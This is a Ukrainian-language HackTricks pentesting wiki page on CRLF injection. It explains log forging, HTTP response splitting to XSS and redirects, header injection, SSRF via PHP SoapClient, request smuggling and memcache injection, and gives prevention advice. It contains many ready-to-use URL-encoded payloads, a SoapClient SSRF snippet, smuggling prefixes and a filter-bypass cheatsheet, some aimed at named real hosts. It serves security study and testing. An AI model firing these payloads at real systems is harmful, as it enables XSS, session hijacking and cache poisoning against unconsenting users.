Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

CRLF

Перенос каретки (CR) та переведення рядка (LF), разом відомі як CRLF, є спеціальними послідовностями символів, які використовуються в протоколі HTTP для позначення кінця рядка або початку нового. Веб-сервери та браузери використовують CRLF для розрізнення між HTTP-заголовками та тілом відповіді. Ці символи універсально використовуються в комунікаціях HTTP/1.1 на різних типах веб-серверів, таких як Apache та Microsoft IIS.

CRLF Injection Vulnerability

Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших шкідливих дій.

Example: CRLF Injection in a Log File

Example from here

Розгляньте файл журналу в адміністративній панелі, який має формат: IP - Time - Visited Path. Типовий запис може виглядати так:

123.123.123.123 - 08:15 - /index.php?page=home

Атакуючий може використати CRLF-ін'єкцію для маніпуляції цим журналом. Впроваджуючи символи CRLF у HTTP-запит, атакуючий може змінити вихідний потік і підробити записи журналу. Наприклад, впроваджена послідовність може перетворити запис журналу на:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Тут %0d та %0a представляють URL-кодовані форми CR та LF. Після атаки журнал помилково відображатиме:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Атакуючий таким чином маскує свої зловмисні дії, змушуючи виглядати так, ніби localhost (суб'єкт, як правило, довірений у середовищі сервера) виконує ці дії. Сервер інтерпретує частину запиту, що починається з %0d%0a, як один параметр, тоді як параметр restrictedaction розбирається як інший, окремий вхід. Маніпульований запит ефективно імітує легітимну адміністративну команду: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Опис

HTTP Response Splitting — це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура відокремлює заголовки від тіла за допомогою специфічної послідовності символів, Carriage Return (CR), за якою слідує Line Feed (LF), що разом називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема Cross-site Scripting (XSS).

XSS через HTTP Response Splitting

  1. Додаток встановлює користувацький заголовок, наприклад: X-Custom-Header: UserInput

  2. Додаток отримує значення для UserInput з параметра запиту, скажімо, "user_input". У сценаріях, де відсутня належна валідація та кодування вхідних даних, атакуючий може створити корисне навантаження, яке містить послідовність CRLF, за якою слідує зловмисний вміст.

  3. Атакуючий створює URL з особливо підготовленим 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • У цьому URL, %0d%0a%0d%0a є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер сприймати наступну частину як тіло відповіді.

  1. Сервер відображає введення атакуючого в заголовку відповіді, що призводить до ненавмисної структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.

Приклад HTTP Response Splitting, що призводить до перенаправлення

З https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Браузер до:

/%0d%0aLocation:%20http://myweb.com

І сервер відповідає заголовком:

Location: http://myweb.com

Інший приклад: (з https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

В URL шляху

Ви можете надіслати payload всередині URL шляху, щоб контролювати відповідь від сервера (приклад з тут):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

HTTP Header Injection

HTTP Header Injection, часто експлуатоване через CRLF (Carriage Return and Line Feed) injection, дозволяє зловмисникам вставляти HTTP заголовки. Це може підривати механізми безпеки, такі як фільтри XSS (Cross-Site Scripting) або SOP (Same-Origin Policy), що потенційно призводить до несанкціонованого доступу до чутливих даних, таких як CSRF токени, або маніпуляції сесіями користувачів через вставку cookie.

Exploiting CORS via HTTP Header Injection

Зловмисник може вставити HTTP заголовки, щоб активувати CORS (Cross-Origin Resource Sharing), обходячи обмеження, накладені SOP. Цей злом дозволяє скриптам з шкідливих джерел взаємодіяти з ресурсами з іншого джерела, потенційно отримуючи доступ до захищених даних.

SSRF and HTTP Request Injection via CRLF

CRLF injection може бути використано для створення та вставки абсолютно нового HTTP запиту. Помітним прикладом цього є вразливість у класі SoapClient PHP, зокрема в параметрі user_agent. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть вставити новий HTTP запит повністю. Нижче наведено приклад PHP, що демонструє цю експлуатацію:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Для отримання додаткової інформації про цю техніку та потенційні проблеми перевірте оригінальне джерело.

Ви можете інжектувати необхідні заголовки, щоб забезпечити, що бекенд зберігає з'єднання відкритим після відповіді на початковий запит:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Після цього можна вказати другий запит. Цей сценарій зазвичай включає HTTP request smuggling, техніку, де додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних безпекових експлойтів.

Експлуатація:

  1. Ін'єкція зловмисного префікса: Цей метод передбачає отруєння запиту наступного користувача або веб-кешу, вказуючи зловмисний префікс. Приклад цього:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Створення префікса для отруєння черги відповідей: Цей підхід передбачає створення префікса, який, у поєднанні з залишковим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache є сховищем ключ-значення, яке використовує протокол у відкритому тексті. Більше інформації в:

11211 - Pentesting Memcache

Для отримання повної інформації прочитайте оригінальну статтю

Якщо платформа бере дані з HTTP запиту і використовує їх без очищення для виконання запитів до memcache сервера, зловмисник може зловживати цією поведінкою, щоб впроваджувати нові команди memcache.

Наприклад, у виявленій уразливості ключі кешу використовувалися для повернення IP-адреси та порту, до яких користувач повинен підключитися, і зловмисники змогли впроваджувати команди memcache, які отруювали кеш, щоб надсилати деталі жертв (включаючи імена користувачів та паролі) на сервери зловмисника:

Більше того, дослідники також виявили, що вони можуть десинхронізувати відповіді memcache, щоб надсилати IP-адреси та порти зловмисника користувачам, чиї електронні адреси зловмисник не знав:

Як запобігти CRLF / HTTP Header Injections у веб-додатках

Щоб зменшити ризики CRLF (перенос рядка та переведення каретки) або HTTP Header Injections у веб-додатках, рекомендуються такі стратегії:

  1. Уникати прямого введення користувача в заголовках відповіді: Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді.

  2. Кодувати спеціальні символи: Якщо уникнути прямого введення користувача неможливо, обов'язково використовуйте функцію, призначену для кодування спеціальних символів, таких як CR (перенос рядка) і LF (переведення каретки). Ця практика запобігає можливості ін'єкції CRLF.

  3. Оновити мову програмування: Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Обирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, призначених для встановлення HTTP заголовків.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Автоматичні інструменти

Список виявлення Brute-Force

Посилання

Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!

Підтримка HackTricks
PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated